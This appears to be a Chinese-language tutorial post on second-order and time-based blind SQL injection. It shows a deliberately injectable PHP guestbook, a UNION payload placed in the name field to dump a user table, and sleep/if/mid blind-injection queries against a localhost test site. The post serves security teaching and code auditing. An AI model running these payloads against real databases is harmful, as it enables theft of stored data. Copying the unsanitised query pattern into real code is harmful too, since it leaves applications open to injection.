第七天:二次注入原理及演示(代码审计意义很大)
二次注入代码审计解析
盲注攻击 sleep if sql语句
1.二次注入产生的地方:评论区或留言区,需要交互的地方。
2.手工写一个二次注入的文件
<form action="" method="post">
标题:<input type="text" name="t"><br>
内容:<input type="text" name="c"><br>
作者:<input type="text" name="n"><br>
<input type="submit" value="提交"><br>
</form>
<?php
$name=$_POST['n'];
$content=$_POST['c'];
$title=$_POST['t'];
//插入数据
$conn=mysql_connect(127.0.0.1,'root','root');
mysql_select_db("ercisqlin",$conn);
$sql="INSERT INTO `gbook`(`name`, `title`, `content`) VALUES ('$name','$title','$content')";
//mysql_query($sql);
if(!empty($name)){
mysql_query($sql);
}
//显示数据
$conn1=mysql_connect('127.0.0.1','root','root');
mysql_select_db("ercisqlin",$conn1);
$sql1="select * from gbook";
$result = mysql_query($sql1);
while($row = mysql_fetch_array($result)){
echo "用户:".$row['name']."<br >";
echo "文章标题:".$row['title']."<br >";
echo "文章内容:".$row['content']."<br >";
$n=$row['name'];
$sql2="select * from gbook where name='$n'";
echo $sql2."<br >";;
}
mysql_close($conn);
mysql_close($conn1);
$sql="INSERT INTO `gbook`(`name`, `title`, `content`) VALUES ('$name','$title','$content')"; //发表评论
$sql2="select * from gbook where name='$name'"; //匹配评论结果显示
//二次注入的原理:
//1.攻击语句写入到名字,名字接受的数据写入数据库
//admin' union select 1,2,3,4 from user and '1'='1
//2.评论或者留言展示出来
//select * from gbook where name='admin' union select 1,2,3,4 from user and '1'='1';
//这条语句前半部分执行成功,后半部分是把user表的数据都查出来了
?>
image.png
这样就把users表的数据都查出来了。
盲注
If(条件,执行,反之)
Sleep(x) 执行x秒
length(x) 函数是统计字符串的长度
mid(x,第1位,1) 字符串截取
ORD() 转换成ascii码
获取长度,if判断成立
if条件成立就5秒后显示结果.png
http://127.0.0.1/sqlin/mysql/index.php?x=1 and sleep(if((select mid(database(),1,1)='s'),5,0))
- 去猜表名
select * from news where id=1 union select 1,2,sleep(if((mid(table_name,1,1)="a"),5,0)) from information_schema.tables where table_schema=database()
网友评论